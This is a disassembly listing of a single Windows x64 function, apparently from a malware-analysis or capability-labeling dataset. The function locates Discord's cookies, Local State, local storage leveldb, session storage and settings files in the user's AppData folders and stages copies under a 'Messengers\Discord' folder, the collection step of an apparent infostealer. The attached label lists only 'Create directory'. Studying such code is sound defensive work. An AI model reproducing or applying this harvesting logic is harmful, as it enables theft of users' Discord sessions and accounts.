Function at 0x14005e070
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x2f0
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
xor ebx, ebx
mov r14d, ebx
mov dword [rsp + 0x60], ebx
lea rcx, str.Discord_n
call fcn.1400029d0
lea rcx, [rsp + 0x138]
call fcn.140057350
nop
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005fc5a
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x40]
call fcn.14002d660
nop
mov r8d, 0xe
lea rdx, str._AppData_Local
lea rcx, [rsp + 0x40]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x188], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005e1ad
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e1a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc60
call fcn.140080f50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rax, rdi
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005fc66
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0xd0]
call fcn.14002d660
nop
mov r8d, 0x10
lea rdx, str._AppData_Roaming
lea rcx, [rsp + 0xd0]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x168], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0x10
jb 0x14005e2ad
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e2a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc6c
call fcn.140080f50
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rax, rdi
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005fc72
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0xb0]
call fcn.14002d660
nop
mov r8d, 0x10
lea rdx, str._AppData_Roaming
lea rcx, [rsp + 0xb0]
call fcn.140021a00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 8
lea rdx, str._discord
lea rcx, [rsp + 0x40]
call fcn.140021a00
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x128], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x68]
call fcn.14002f5c0
nop
lea rcx, [rsp + 0x68]
call fcn.1400044e0
movzx esi, al
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x14005e436
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e431
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc78
call fcn.140080f50
movdqa xmm0, xmmword [0x1400d4aa0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], bx
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14005e48c
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e487
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc7e
call fcn.140080f50
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005e4e5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e4e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc84
call fcn.140080f50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x14005e53b
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e536
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc8a
call fcn.140080f50
test sil, sil
je 0x14005ef24
mov qword [rsp + 0x1e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], 0
mov r8d, 0x17
lea rdx, str.discord_Network_Cookies
lea rcx, [rsp + 0x1e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x200], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x210], xmm0
mov byte [rsp + 0x200], 0
mov r8d, 0x15
lea rdx, str.discord_settings.json
lea rcx, [rsp + 0x200]
call fcn.1400218a0
nop
mov qword [rsp + 0x220], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x230], xmm0
mov byte [rsp + 0x220], 0
mov r8d, 0x13
lea rdx, str.discord_Local_State
lea rcx, [rsp + 0x220]
call fcn.1400218a0
nop
mov qword [rsp + 0x1a0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1b0], xmm0
mov byte [rsp + 0x1a0], 0
mov r8d, 0x1d
lea rdx, str.discord_Local_Storage_leveldb
lea rcx, [rsp + 0x1a0]
call fcn.1400218a0
nop
mov qword [rsp + 0x1c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1d0], xmm0
mov byte [rsp + 0x1c0], 0
mov r8d, 0x17
lea rdx, str.discord_Session_Storage
lea rcx, [rsp + 0x1c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
cmp byte [0x1400e8e20], 0
je 0x14005e748
lea rcx, [rsp + 0x88]
call fcn.140057350
nop
lea r8, [0x1400e9280]
cmp qword [0x1400e9298], 0x10
cmovae r8, qword [0x1400e9280]
mov r9, qword [0x1400e9290]
xor edx, edx
mov rcx, rax
call fcn.14002d980
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm1
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x14005e83d
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e838
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc90
jmp 0x14005e838
mov rax, rdi
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005fc96
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x68]
call fcn.14002d660
nop
lea rdx, [0x1400e9220]
cmp qword [0x1400e9238], 0x10
cmovae rdx, qword [0x1400e9220]
mov r8, qword [0x1400e9230]
lea rcx, [rsp + 0x68]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm1
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14005e83d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e838
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc9c
call fcn.140080f50
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0xb
jb 0x14005fca2
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0xb
lea rax, str._Messengers
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x240]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x13
jb 0x14005fca8
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x13
lea rax, str._Messengers_Discord
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x260]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x21
jb 0x14005fcae
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x21
lea rax, str._Messengers_Discord_Local_Storage
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x280]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x29
jb 0x14005fcb4
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x29
lea rax, str._Messengers_Discord_Local_Storage_leveldb
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x2a0]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x23
jb 0x14005fcba
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x23
lea rax, str._Messengers_Discord_Session_Storage
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x2c0]
call fcn.14002d660
nop
lea rsi, [rsp + 0x240]
mov r14d, 5
nop dword [rax]
mov rcx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14005ea6d
mov rcx, qword [rsi]
call fcn.14009939c
add rsi, 0x20
sub r14, 1
jne 0x14005ea60
mov rsi, rbx
mov qword [rsp + 0x60], rsi
cmp rsi, 3
jae 0x14005ec15
mov byte [rsp + 0x110], 0x2f
mov rax, qword [rsp + 0x168]
cmp rax, rdi
je 0x14005fcc0
lea r9, [rsp + 0x158]
cmp qword [rsp + 0x170], 0x10
cmovae r9, qword [rsp + 0x158]
mov qword [rsp + 0x30], 1
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x158]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x68]
call fcn.14002d660
nop
mov rax, rsi
shl rax, 5
lea rdx, [rsp + 0x1e0]
add rdx, rax
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14005eb17
mov rdx, qword [rdx]
lea rcx, [rsp + 0x68]
call fcn.140021a00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x40]
call fcn.140057d10
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005eba0
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fcc6
call fcn.140080f50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14005ebf4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ebee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fccc
call fcn.140080f50
nop
inc rsi
jmp 0x14005ea7f
mov rsi, rbx
mov qword [rsp + 0x60], rsi
cmp rsi, 2
jae 0x14005ee9f
mov r14, rsi
shl r14, 5
lea rdx, [rsp + 0x2a0]
add rdx, r14
lea rcx, [rsp + 0x88]
call fcn.14002f5c0
nop
mov byte [rsp + 0x110], 0x2f
mov rax, qword [rsp + 0x168]
cmp rax, rdi
je 0x14005fcd2
lea r9, [rsp + 0x158]
cmp qword [rsp + 0x170], 0x10
cmovae r9, qword [rsp + 0x158]
mov qword [rsp + 0x30], 1
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x158]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x68]
call fcn.14002d660
nop
lea rdx, [rsp + 0x1a0]
add rdx, r14
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14005ecc9
mov rdx, qword [rdx]
lea rcx, [rsp + 0x68]
call fcn.140021a00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xb0]
call fcn.14002f5c0
nop
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0xb0]
call fcn.1400578a0
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x14005ed73
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ed6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fcd8
call fcn.140080f50
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005edcc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005edc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fcde
call fcn.140080f50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14005ee1f
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ee1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fce4
call fcn.140080f50
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0xa0]
cmp rdx, 8
jb 0x14005ee7e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ee78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fcea
call fcn.140080f50
nop
inc rsi
jmp 0x14005ec18
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rsp + 0x240]
call fcn.140080f94
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14005ef01
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eefb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fcf0
call fcn.140080f50
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x1a0]
call fcn.140080f94
nop
jmp 0x14005fbae
mov rax, rdi
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005fcf6
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x88]
call fcn.14002d660
nop
mov r8d, 0xe
lea rdx, str._AppData_Local
lea rcx, [rsp + 0x88]
call fcn.140021a00
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x128], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 8
lea rdx, str._discord
lea rcx, [rsp + 0x118]
call fcn.140021a00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002f5c0
nop
lea rcx, [rsp + 0x68]
call fcn.1400044e0
movzx esi, al
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x14005f091
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f08c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fcfc
call fcn.140080f50
movdqa xmm0, xmmword [0x1400d4aa0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], bx
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14005f0e1
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f0dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd02
call fcn.140080f50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14005f137
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f132
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd08
call fcn.140080f50
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x14005f196
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f191
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd0e
call fcn.140080f50
test sil, sil
je 0x14005fbcd
mov qword [rsp + 0x1e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], 0
mov r8d, 0x17
lea rdx, str.discord_Network_Cookies
lea rcx, [rsp + 0x1e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x200], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x210], xmm0
mov byte [rsp + 0x200], 0
mov r8d, 0x15
lea rdx, str.discord_settings.json
lea rcx, [rsp + 0x200]
call fcn.1400218a0
nop
mov qword [rsp + 0x220], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x230], xmm0
mov byte [rsp + 0x220], 0
mov r8d, 0x13
lea rdx, str.discord_Local_State
lea rcx, [rsp + 0x220]
call fcn.1400218a0
nop
mov qword [rsp + 0x1a0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1b0], xmm0
mov byte [rsp + 0x1a0], 0
mov r8d, 0x1d
lea rdx, str.discord_Local_Storage_leveldb
lea rcx, [rsp + 0x1a0]
call fcn.1400218a0
nop
mov qword [rsp + 0x1c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1d0], xmm0
mov byte [rsp + 0x1c0], 0
mov r8d, 0x17
lea rdx, str.discord_Session_Storage
lea rcx, [rsp + 0x1c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
cmp byte [0x1400e8e20], 0
je 0x14005f3a3
lea rcx, [rsp + 0x88]
call fcn.140057350
nop
lea r8, [0x1400e9280]
cmp qword [0x1400e9298], 0x10
cmovae r8, qword [0x1400e9280]
mov r9, qword [0x1400e9290]
xor edx, edx
mov rcx, rax
call fcn.14002d980
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm1
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x14005f4a1
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f49c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd14
jmp 0x14005f49c
mov rax, rdi
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005fd1a
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x88]
call fcn.14002d660
nop
lea rdx, [0x1400e9220]
cmp qword [0x1400e9238], 0x10
cmovae rdx, qword [0x1400e9220]
mov r8, qword [0x1400e9230]
lea rcx, [rsp + 0x88]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm1
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x14005f4a1
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f49c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fd20
call fcn.140080f50
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0xb
jb 0x14005fd26
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0xb
lea rax, str._Messengers
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x240]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x13
jb 0x14005fd2c
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x13
lea rax, str._Messengers_Discord
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x260]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x21
jb 0x14005fd32
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x21
lea rax, str._Messengers_Discord_Local_Storage
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x280]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x29
jb 0x14005fd38
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x29
lea rax, str._Messengers_Discord_Local_Storage_leveldb
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x2a0]
call fcn.14002d660
nop
mov rax, rdi
mov rcx, qword [rsp + 0x128]
sub rax, rcx
cmp rax, 0x23
jb 0x14005fd3e
lea r9, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae r9, qword [rsp + 0x118]
mov qword [rsp + 0x30], 0x23
lea rax, str._Messengers_Discord_Session_Storage
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x118]
movzx edx, byte [rsp + 0x110]
lea rcx, [rsp + 0x2c0]
call fcn.14002d660
nop
lea rsi, [rsp + 0x240]
mov r15d, 5
mov rcx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14005f6ce
mov rcx, qword [rsi]
call fcn.14009939c
add rsi, 0x20
sub r15, 1
jne 0x14005f6c1
mov rsi, rbx
mov qword [rsp + 0xa8], rsi
cmp rsi, 3
jae 0x14005f888
